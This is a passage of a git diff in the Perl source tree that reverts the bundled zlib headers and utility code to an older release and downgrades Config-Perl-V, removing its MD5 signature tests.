if there was an error. If the multiplication of size and - nitems overflows, i.e. the product does not fit in a z_size_t, then nothing - is read, zero is returned, and the error state is set to Z_STREAM_ERROR. - - In the event that the end of file is reached and only a partial item is - available at the end, i.e. the remaining uncompressed data length is not a - multiple of size, then the final partial item is nevetheless read into buf - and the end-of-file flag is set. The length of the partial item read is not - provided, but could be inferred from the result of gztell(). This behavior - is the same as the behavior of fread() implementations in common libraries, - but it prevents the direct use of gzfread() to read a concurrently written - file, reseting and retrying on end-of-file, when size is not 1. + len for end of file, or -1 for error. */ ZEXTERN int ZEXPORT gzwrite OF((gzFile file, @@ -1451,33 +1346,19 @@ ZEXTERN int ZEXPORT gzwrite OF((gzFile file, error. */ -ZEXTERN z_size_t ZEXPORT gzfwrite OF((voidpc buf, z_size_t size, - z_size_t nitems, gzFile file)); -/* - gzfwrite() writes nitems items of size size from buf to file, duplicating - the interface of stdio's fwrite(), with size_t request and return types. If - the library defines size_t, then z_size_t is identical to size_t. If not, - then z_size_t is an unsigned integer type that can contain a pointer. - - gzfwrite() returns the number of full items written of size size, or zero - if there was an error. If the multiplication of size and nitems overflows, - i.e. the product does not fit in a z_size_t, then nothing is written, zero - is returned, and the error state is set to Z_STREAM_ERROR. -*/ - ZEXTERN int ZEXPORTVA gzprintf Z_ARG((gzFile file, const char *format, ...)); /* Converts, formats, and writes the arguments to the compressed file under control of the format string, as in fprintf. gzprintf returns the number of - uncompressed bytes actually written, or a negative zlib error code in case - of error. The number of uncompressed bytes written is limited to 8191, or - one less than the buffer size given to gzbuffer(). The caller should assure - that this limit is not exceeded. If it is exceeded, then gzprintf() will - return an error (0) with nothing written. In this case, there may also be a - buffer overflow with unpredictable consequences, which is possible only if - zlib was compiled with the insecure functions sprintf() or vsprintf() - because the secure snprintf() or vsnprintf() functions were not available. - This can be determined using zlibCompileFlags(). + uncompressed bytes actually written, or 0 in case of error. The number of + uncompressed bytes written is limited to 8191, or one less than the buffer + size given to gzbuffer(). The caller should assure that this limit is not + exceeded. If it is exceeded, then gzprintf() will return an error (0) with + nothing written. In this case, there may also be a buffer overflow with + unpredictable consequences, which is possible only if zlib was compiled with + the insecure functions sprintf() or vsprintf() because the secure snprintf() + or vsnprintf() functions were not available. This can be determined using + zlibCompileFlags(). */ ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); @@ -1537,7 +1418,7 @@ ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); If the flush parameter is Z_FINISH, the remaining data is written and the gzip stream is completed in the output. If gzwrite() is called again, a new gzip stream will be started in the output. gzread() is able to read such - concatenated gzip streams. + concatented gzip streams. gzflush should be called only when strictly necessary because it will degrade compression if called too often. @@ -1691,7 +1572,7 @@ ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); return the updated checksum. If buf is Z_NULL, this function returns the required initial value for the checksum. - An Adler-32 checksum is almost as reliable as a CRC-32 but can be computed + An Adler-32 checksum is almost as reliable as a CRC32 but can be computed much faster. Usage example: @@ -1704,12 +1585,6 @@ ZEXTERN uLong ZEXPORT adler32 OF((uLong adler, const Bytef *buf, uInt len)); if (adler != original_adler) error(); */ -ZEXTERN uLong ZEXPORT adler32_z OF((uLong adler, const Bytef *buf, - z_size_t len)); -/* - Same as adler32(), but with a size_t length. -*/ - /* ZEXTERN uLong ZEXPORT adler32_combine OF((uLong adler1, uLong adler2, z_off_t len2)); @@ -1739,12 +1614,6 @@ ZEXTERN uLong ZEXPORT crc32 OF((uLong crc, const Bytef *buf, uInt len)); if (crc != original_crc) error(); */ -ZEXTERN uLong ZEXPORT crc32_z OF((uLong adler, const Bytef *buf, - z_size_t len)); -/* - Same as crc32(), but with a size_t length. -*/ - /* ZEXTERN uLong ZEXPORT crc32_combine OF((uLong crc1, uLong crc2, z_off_t len2)); @@ -1775,35 +1644,19 @@ ZEXTERN int ZEXPORT inflateBackInit_ OF((z_streamp strm, int windowBits, unsigned char FAR *window, const char *version, int stream_size)); -#ifdef Z_PREFIX_SET -# define z_deflateInit(strm, level) \ - deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream)) -# define z_inflateInit(strm) \ - inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream)) -# define z_deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ - deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ - (strategy), ZLIB_VERSION, (int)sizeof(z_stream)) -# define z_inflateInit2(strm, windowBits) \ - inflateInit2_((strm), (windowBits), ZLIB_VERSION, \ - (int)sizeof(z_stream)) -# define z_inflateBackInit(strm, windowBits, window) \ - inflateBackInit_((strm), (windowBits), (window), \ - ZLIB_VERSION, (int)sizeof(z_stream)) -#else -# define deflateInit(strm, level) \ - deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream)) -# define inflateInit(strm) \ - inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream)) -# define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ - deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ - (strategy), ZLIB_VERSION, (int)sizeof(z_stream)) -# define inflateInit2(strm, windowBits) \ - inflateInit2_((strm), (windowBits), ZLIB_VERSION, \ - (int)sizeof(z_stream)) -# define inflateBackInit(strm, windowBits, window) \ - inflateBackInit_((strm), (windowBits), (window), \ - ZLIB_VERSION, (int)sizeof(z_stream)) -#endif +#define deflateInit(strm, level) \ + deflateInit_((strm), (level), ZLIB_VERSION, (int)sizeof(z_stream)) +#define inflateInit(strm) \ + inflateInit_((strm), ZLIB_VERSION, (int)sizeof(z_stream)) +#define deflateInit2(strm, level, method, windowBits, memLevel, strategy) \ + deflateInit2_((strm),(level),(method),(windowBits),(memLevel),\ + (strategy), ZLIB_VERSION, (int)sizeof(z_stream)) +#define inflateInit2(strm, windowBits) \ + inflateInit2_((strm), (windowBits), ZLIB_VERSION, \ + (int)sizeof(z_stream)) +#define inflateBackInit(strm, windowBits, window) \ + inflateBackInit_((strm), (windowBits), (window), \ + ZLIB_VERSION, (int)sizeof(z_stream)) #ifndef Z_SOLO @@ -1823,10 +1676,10 @@ ZEXTERN int ZEXPORT gzgetc_ OF((gzFile file)); /* backward compatibility */ #ifdef Z_PREFIX_SET # undef z_gzgetc # define z_gzgetc(g) \ - ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g)) + ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g)) #else # define gzgetc(g) \ - ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : (gzgetc)(g)) + ((g)->have ? ((g)->have--, (g)->pos++, *((g)->next)++) : gzgetc(g)) #endif /* provide 64-bit offset functions if _LARGEFILE64_SOURCE defined, and/or @@ -1884,16 +1737,19 @@ ZEXTERN int ZEXPORT gzgetc_ OF((gzFile file)); /* backward compatibility */ #endif /* !Z_SOLO */ +/* hack for buggy compilers */ +#if !defined(ZUTIL_H) && !defined(NO_DUMMY_DECL) + struct internal_state {int dummy;}; +#endif + /* undocumented functions */ ZEXTERN const char * ZEXPORT zError OF((int)); ZEXTERN int ZEXPORT inflateSyncPoint OF((z_streamp)); ZEXTERN const z_crc_t FAR * ZEXPORT get_crc_table OF((void)); ZEXTERN int ZEXPORT inflateUndermine OF((z_streamp, int)); -ZEXTERN int ZEXPORT inflateValidate OF((z_streamp, int)); -ZEXTERN unsigned long ZEXPORT inflateCodesUsed OF ((z_streamp)); ZEXTERN int ZEXPORT inflateResetKeep OF((z_streamp)); ZEXTERN int ZEXPORT deflateResetKeep OF((z_streamp)); -#if (defined(_WIN32) || defined(__CYGWIN__)) && !defined(Z_SOLO) +#if defined(_WIN32) && !defined(Z_SOLO) ZEXTERN gzFile ZEXPORT gzopen_w OF((const wchar_t *path, const char *mode)); #endif diff --git a/cpan/Compress-Raw-Zlib/zlib-src/zutil.c b/cpan/Compress-Raw-Zlib/zlib-src/zutil.c index ff06651f23f9..5688d4f7e2cf 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/zutil.c +++ b/cpan/Compress-Raw-Zlib/zlib-src/zutil.c @@ -1,5 +1,5 @@ /* zutil.c -- target dependent utility functions for the compression library - * Copyright (C) 1995-2017 Jean-loup Gailly + * Copyright (C) 1995-2005, 2010, 2011, 2012 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -10,18 +10,21 @@ # include "gzguts.h" #endif +#ifndef NO_DUMMY_DECL +struct internal_state {int dummy;}; /* for buggy compilers */ +#endif + z_const char * const z_errmsg[10] = { - (z_const char *)"need dictionary", /* Z_NEED_DICT 2 */ - (z_const char *)"stream end", /* Z_STREAM_END 1 */ - (z_const char *)"", /* Z_OK 0 */ - (z_const char *)"file error", /* Z_ERRNO (-1) */ - (z_const char *)"stream error", /* Z_STREAM_ERROR (-2) */ - (z_const char *)"data error", /* Z_DATA_ERROR (-3) */ - (z_const char *)"insufficient memory", /* Z_MEM_ERROR (-4) */ - (z_const char *)"buffer error", /* Z_BUF_ERROR (-5) */ - (z_const char *)"incompatible version",/* Z_VERSION_ERROR (-6) */ - (z_const char *)"" -}; +(char*)"need dictionary", /* Z_NEED_DICT 2 */ +(char*)"stream end", /* Z_STREAM_END 1 */ +(char*)"", /* Z_OK 0 */ +(char*)"file error", /* Z_ERRNO (-1) */ +(char*)"stream error", /* Z_STREAM_ERROR (-2) */ +(char*)"data error", /* Z_DATA_ERROR (-3) */ +(char*)"insufficient memory", /* Z_MEM_ERROR (-4) */ +(char*)"buffer error", /* Z_BUF_ERROR (-5) */ +(char*)"incompatible version",/* Z_VERSION_ERROR (-6) */ +(char*)""}; const char * ZEXPORT zlibVersion() @@ -58,7 +61,7 @@ uLong ZEXPORT zlibCompileFlags() case 8: flags += 2 << 6; break; default: flags += 3 << 6; } -#ifdef ZLIB_DEBUG +#ifdef DEBUG flags += 1 << 8; #endif #if defined(ASMV) || defined(ASMINF) @@ -112,8 +115,8 @@ uLong ZEXPORT zlibCompileFlags() return flags; } -#ifdef ZLIB_DEBUG -#include +#ifdef DEBUG + # ifndef verbose # define verbose 0 # endif @@ -216,11 +219,9 @@ local ptr_table table[MAX_PTR]; voidpf ZLIB_INTERNAL zcalloc (voidpf opaque, unsigned items, unsigned size) { - voidpf buf; + voidpf buf = opaque; /* just to make some compilers happy */ ulg bsize = (ulg)items*size; - (void)opaque; - /* If we allocate less than 65520 bytes, we assume that farmalloc * will return a usable pointer which doesn't have to be normalized. */ @@ -243,9 +244,6 @@ voidpf ZLIB_INTERNAL zcalloc (voidpf opaque, unsigned items, unsigned size) void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr) { int n; - - (void)opaque; - if (*(ush*)&ptr != 0) { /* object < 64K */ farfree(ptr); return; @@ -261,6 +259,7 @@ void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr) next_ptr--; return; } + ptr = opaque; /* just to make some compilers happy */ Assert(0, "zcfree: ptr not found"); } @@ -279,13 +278,13 @@ void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr) voidpf ZLIB_INTERNAL zcalloc (voidpf opaque, uInt items, uInt size) { - (void)opaque; + if (opaque) opaque = 0; /* to make compiler happy */ return _halloc((long)items, size); } void ZLIB_INTERNAL zcfree (voidpf opaque, voidpf ptr) { - (void)opaque; + if (opaque) opaque = 0; /* to make compiler happy */ _hfree(ptr); } @@ -307,7 +306,7 @@ voidpf ZLIB_INTERNAL zcalloc ( unsigned items, unsigned size) { - (void)opaque; + if (opaque) items += size - size; /* make compiler happy */ return sizeof(uInt) > 2 ? (voidpf)malloc(items * size) : (voidpf)calloc(items, size); } @@ -316,8 +315,8 @@ void ZLIB_INTERNAL zcfree ( voidpf opaque, voidpf ptr) { - (void)opaque; free(ptr); + if (opaque) return; /* make compiler happy */ } #endif /* MY_ZCALLOC */ diff --git a/cpan/Compress-Raw-Zlib/zlib-src/zutil.h b/cpan/Compress-Raw-Zlib/zlib-src/zutil.h index da852de01eb1..0e7dfd96ba2e 100644 --- a/cpan/Compress-Raw-Zlib/zlib-src/zutil.h +++ b/cpan/Compress-Raw-Zlib/zlib-src/zutil.h @@ -1,5 +1,5 @@ /* zutil.h -- internal interface and configuration of the compression library - * Copyright (C) 1995-2016 Jean-loup Gailly, Mark Adler + * Copyright (C) 1995-2013 Jean-loup Gailly. * For conditions of distribution and use, see copyright notice in zlib.h */ @@ -40,9 +40,7 @@ extern "C" { #ifndef local # define local static #endif -/* since "static" is used to mean two completely different things in C, we - define "local" for the non-static meaning of "static", for readability - (compile with -Dlocal if your debugger can't find static symbols) */ +/* compile with -Dlocal if your debugger can't find static symbols */ typedef unsigned char uch; typedef uch FAR uchf; @@ -104,38 +102,28 @@ extern z_const char * const z_errmsg[10]; /* indexed by 2-zlib_error */ #endif #ifdef AMIGA -# define OS_CODE 1 +# define OS_CODE 0x01 #endif #if defined(VAXC) || defined(VMS) -# define OS_CODE 2 +# define OS_CODE 0x02 # define F_OPEN(name, mode) \ fopen((name), (mode), "mbc=60", "ctx=stm", "rfm=fix", "mrs=512") #endif -#ifdef __370__ -# if __TARGET_LIB__ < 0x20000000 -# define OS_CODE 4 -# elif __TARGET_LIB__ < 0x40000000 -# define OS_CODE 11 -# else -# define OS_CODE 8 -# endif -#endif - #if defined(ATARI) || defined(atarist) -# define OS_CODE 5 +# define OS_CODE 0x05 #endif #ifdef OS2 -# define OS_CODE 6 +# define OS_CODE 0x06 # if defined(M_I86) && !defined(Z_SOLO) # include # endif #endif #if defined(MACOS) || defined(TARGET_OS_MAC) -# define OS_CODE 7 +# define OS_CODE 0x07 # ifndef Z_SOLO # if defined(__MWERKS__) && __dest_os != __be_os && __dest_os != __win32_os # include /* for fdopen */ @@ -147,24 +135,18 @@ extern z_const char * const z_errmsg[10]; /* indexed by 2-zlib_error */ # endif #endif -#ifdef __acorn -# define OS_CODE 13 -#endif - -#if defined(WIN32) && !defined(__CYGWIN__) -# define OS_CODE 10 +#ifdef TOPS20 +# define OS_CODE 0x0a #endif -#ifdef _BEOS_ -# define OS_CODE 16 -#endif - -#ifdef __TOS_OS400__ -# define OS_CODE 18 +#ifdef WIN32 +# ifndef __CYGWIN__ /* Cygwin is Unix, not Win32 */ +# define OS_CODE 0x0b +# endif #endif -#ifdef __APPLE__ -# define OS_CODE 19 +#ifdef __50SERIES /* Prime/PRIMOS */ +# define OS_CODE 0x0f #endif #if defined(_BEOS_) || defined(RISCOS) @@ -199,7 +181,7 @@ extern z_const char * const z_errmsg[10]; /* indexed by 2-zlib_error */ /* common defaults */ #ifndef OS_CODE -# define OS_CODE 3 /* assume Unix */ +# define OS_CODE 0x03 /* assume Unix */ #endif #ifndef F_OPEN @@ -238,7 +220,7 @@ extern z_const char * const z_errmsg[10]; /* indexed by 2-zlib_error */ #endif /* Diagnostic functions */ -#ifdef ZLIB_DEBUG +#ifdef DEBUG # include extern int ZLIB_INTERNAL z_verbose; extern void ZLIB_INTERNAL z_error OF((char *m)); @@ -274,5 +256,6 @@ extern z_const char * const z_errmsg[10]; /* indexed by 2-zlib_error */ #ifdef __cplusplus } -#endif +#endif + #endif /* ZUTIL_H */ diff --git a/cpan/Config-Perl-V/V.pm b/cpan/Config-Perl-V/V.pm index 4489cc83fc67..9e9c09c9fa56 100644 --- a/cpan/Config-Perl-V/V.pm +++ b/cpan/Config-Perl-V/V.pm @@ -8,7 +8,7 @@ use warnings; use Config; use Exporter; use vars qw($VERSION @ISA @EXPORT_OK %EXPORT_TAGS); -$VERSION = "0.29"; +$VERSION = "0.28"; @ISA = qw( Exporter ); @EXPORT_OK = qw( plv2hash summary myconfig signature ); %EXPORT_TAGS = ( @@ -310,11 +310,8 @@ sub plv2hash { sub summary { my $conf = shift || myconfig (); - ref $conf eq "HASH" - && exists $conf->{config} - && exists $conf->{build} - && ref $conf->{config} eq "HASH" - && ref $conf->{build} eq "HASH" or return; + ref $conf eq "HASH" && + exists $conf->{config} && exists $conf->{build} or return; my %info = map { exists $conf->{config}{$_} ? ( $_ => $conf->{config}{$_} ) : () } @@ -331,15 +328,10 @@ sub summary { } # summary sub signature { - my $no_md5 = "0" x 32; - my $conf = summary (shift) or return $no_md5; - eval { require Digest::MD5 }; - $@ and return $no_md5; - - $conf->{cc} =~ s{.*\bccache\s+}{}; - $conf->{cc} =~ s{.*[/\\]}{}; + $@ and return "00000000000000000000000000000000"; + my $conf = shift || summary (); delete $conf->{config_args}; return Digest::MD5::md5_hex (join "\xFF" => map { "$_=".(defined $conf->{$_} ? $conf->{$_} : "\xFE"); @@ -554,7 +546,7 @@ H.Merijn Brand =head1 COPYRIGHT AND LICENSE -Copyright (C) 2009-2017 H.Merijn Brand +Copyright (C) 2009-2016 H.Merijn Brand This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself. diff --git a/cpan/Config-Perl-V/t/10_base.t b/cpan/Config-Perl-V/t/10_base.t index c4deda0ddefc..6113828f06af 100644 --- a/cpan/Config-Perl-V/t/10_base.t +++ b/cpan/Config-Perl-V/t/10_base.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 42; + my $tests = 12; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -26,19 +26,6 @@ ok (my $info1 = Config::Perl::V::summary ($conf), "Get a summary for \$conf"); ok (my $info2 = Config::Perl::V::summary, "Get a summary for \$^X"); is_deeply ($info1, $info2, "Info should match"); -ok (my $sig = Config::Perl::V::signature, "Get signature"); -like ($sig, qr{^[0-9a-f]{32}$}, "Valid md5"); - -my $no_md5 = "0" x 32; -ok (my $bad = Config::Perl::V::signature ({ cfg => 0 }), "Signature on invalid data"); -is ($bad, $no_md5, "Invalid md5"); -ok ( $bad = Config::Perl::V::signature ({ config => {} }), "Signature on incomplete data"); -is ($bad, $no_md5, "Invalid md5"); -ok ( $bad = Config::Perl::V::signature ({ config => 0, build => {} }), "Signature on invalid data"); -is ($bad, $no_md5, "Invalid md5"); -ok ( $bad = Config::Perl::V::signature ({ config => {}, build => 0 }), "Signature on invalid data"); -is ($bad, $no_md5, "Invalid md5"); - SKIP: { # Test that the code that shells out to perl -V and parses the output # gives the same results as the code that calls Config::* routines directly. @@ -49,24 +36,3 @@ SKIP: { is_deeply (Config::Perl::V::myconfig, $conf, "perl -V parsing code produces same result as the Config module"); } - -$ENV{CPV_TEST_ENV} = 42; -ok ($conf = Config::Perl::V::myconfig ({ env => qr{^CPV_TEST_ENV$} }), "Read config plus ENV"); -ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc environment ); -ok (my $eh = $conf->{environment}, "Get ENV from conf"); -is ($eh->{CPV_TEST_ENV}, 42, "Valid entry"); - -ok ($conf = Config::Perl::V::myconfig ([ env => qr{^CPV_TEST_ENV$} ]), "Read config plus ENV"); -ok (exists $conf->{$_}, "Has $_ entry") for qw( build environment config inc environment ); -ok ($eh = $conf->{environment}, "Get ENV from conf"); -is ($eh->{CPV_TEST_ENV}, 42, "Valid entry"); - -ok ($conf = Config::Perl::V::myconfig ( env => qr{^CPV_TEST_ENV$} ), "Read config invalid arguments"); -is ($conf->{environment}{CPV_TEST_ENV}, undef, "No entry"); - -delete $INC{"Digest/MD5.pm"}; -delete $INC{"Digest/base.pm"}; -$INC{"Digest/MD5"} = "./flooble/blurgh/Digest/MD5.pm"; -local @INC = ("xyzzy$$"); # Should be unable to find Digest::MD5 -ok ($sig = Config::Perl::V::signature, "Get signature (No Digest::MD5)"); -is ($sig, $no_md5, "Valid md5"); diff --git a/cpan/Config-Perl-V/t/20_plv56.t b/cpan/Config-Perl-V/t/20_plv56.t index a7e9f9ea3479..445531b15ca1 100644 --- a/cpan/Config-Perl-V/t/20_plv56.t +++ b/cpan/Config-Perl-V/t/20_plv56.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 99; + my $tests = 97; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -36,11 +36,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "9dc187182be100c1713f210a8c6d9f45"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5.0 version 6 subversion 2) configuration: Platform: diff --git a/cpan/Config-Perl-V/t/21_plv58.t b/cpan/Config-Perl-V/t/21_plv58.t index a7b797bcb702..39f035233341 100644 --- a/cpan/Config-Perl-V/t/21_plv58.t +++ b/cpan/Config-Perl-V/t/21_plv58.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 99; + my $tests = 97; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -39,11 +39,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "df48dce1adaaf63855d8acd455c51818"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5 version 8 subversion 9) configuration: Platform: diff --git a/cpan/Config-Perl-V/t/22_plv510.t b/cpan/Config-Perl-V/t/22_plv510.t index 51ba142df64b..430410c0396b 100644 --- a/cpan/Config-Perl-V/t/22_plv510.t +++ b/cpan/Config-Perl-V/t/22_plv510.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 98; + my $tests = 96; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -29,11 +29,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "ce0a7871dfddbbed0a6c685c0f52dbf9"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5 version 10 subversion 0) configuration: Platform: diff --git a/cpan/Config-Perl-V/t/23_plv512.t b/cpan/Config-Perl-V/t/23_plv512.t index 00479ba99ed6..572fef074004 100644 --- a/cpan/Config-Perl-V/t/23_plv512.t +++ b/cpan/Config-Perl-V/t/23_plv512.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 100; + my $tests = 98; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -39,11 +39,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "a2c38153cc47d340bc140d0bfe294afb"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5 version 12 subversion 2) configuration: diff --git a/cpan/Config-Perl-V/t/24_plv514.t b/cpan/Config-Perl-V/t/24_plv514.t index db2ac2a33112..abaceb122517 100644 --- a/cpan/Config-Perl-V/t/24_plv514.t +++ b/cpan/Config-Perl-V/t/24_plv514.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 100; + my $tests = 98; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -40,11 +40,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "778815a670c0c454738aedf0c88930ba"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5 version 14 subversion 2) configuration: diff --git a/cpan/Config-Perl-V/t/25_plv516.t b/cpan/Config-Perl-V/t/25_plv516.t index 6315223fb62d..f91279ac67e7 100644 --- a/cpan/Config-Perl-V/t/25_plv516.t +++ b/cpan/Config-Perl-V/t/25_plv516.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 99; + my $tests = 97; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -40,11 +40,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "7b00cf3b306d96fa802892e6ad4b070f"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - __END__ Summary of my perl5 (revision 5 version 16 subversion 3) configuration: diff --git a/cpan/Config-Perl-V/t/25_plv5162.t b/cpan/Config-Perl-V/t/25_plv5162.t index aed85b91b701..2bab6643fbca 100644 --- a/cpan/Config-Perl-V/t/25_plv5162.t +++ b/cpan/Config-Perl-V/t/25_plv5162.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 157; + my $tests = 155; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -42,11 +42,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "2917ca2a97b6db1ab8fb08798f53c0bb"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [ "/Library/Perl/Updates/ comes before system perl directories", "installprivlib and installarchlib points to the Updates directory", diff --git a/cpan/Config-Perl-V/t/26_plv518.t b/cpan/Config-Perl-V/t/26_plv518.t index cedc734274e8..08f275b15c8c 100644 --- a/cpan/Config-Perl-V/t/26_plv518.t +++ b/cpan/Config-Perl-V/t/26_plv518.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 118; + my $tests = 116; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -40,11 +40,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "8f46b07a7775e6a92347d4cd564b8f03"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/26_plv5182.t b/cpan/Config-Perl-V/t/26_plv5182.t index 178fb9261236..f25e42e97663 100644 --- a/cpan/Config-Perl-V/t/26_plv5182.t +++ b/cpan/Config-Perl-V/t/26_plv5182.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 118; + my $tests = 116; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -40,11 +40,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "874325856acfea3dab7e7c944660f398"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/27_plv5200.t b/cpan/Config-Perl-V/t/27_plv5200.t index 4d9b400ebfa8..8e8ce8ecb99f 100644 --- a/cpan/Config-Perl-V/t/27_plv5200.t +++ b/cpan/Config-Perl-V/t/27_plv5200.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 118; + my $tests = 116; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -43,11 +43,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "3e7b4513cd80c6ef00fcd77e5e16f8b4"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/27_plv5202.t b/cpan/Config-Perl-V/t/27_plv5202.t index 33396be3a2f4..9faf121711be 100644 --- a/cpan/Config-Perl-V/t/27_plv5202.t +++ b/cpan/Config-Perl-V/t/27_plv5202.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 119; + my $tests = 117; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -43,11 +43,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "9f954ebc2be7b1d7e151ab28dbdf7062"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is ($sig, $md5, "MD5"); - is_deeply ($conf->{build}{patches}, [], "No local patches"); my %check = ( diff --git a/cpan/Config-Perl-V/t/28_plv5220.t b/cpan/Config-Perl-V/t/28_plv5220.t index 77bc99d7976a..e9a07c4e8ad4 100644 --- a/cpan/Config-Perl-V/t/28_plv5220.t +++ b/cpan/Config-Perl-V/t/28_plv5220.t @@ -5,7 +5,7 @@ use warnings; BEGIN { use Test::More; - my $tests = 119; + my $tests = 117; unless ($ENV{PERL_CORE}) { require Test::NoWarnings; Test::NoWarnings->import (); @@ -43,11 +43,6 @@ foreach my $o (sort keys %$opt) { is ($conf->{build}{options}{$o}, 0, "Runtime option $o unset"); } -eval { require Digest::MD5; }; -my $md5 = $@ ? "0" x 32 : "ddcc2d51e43bf18f5234ba66529068ef"; -ok (my $sig = Config::Perl::V::signature ($conf), "Get signature"); -is 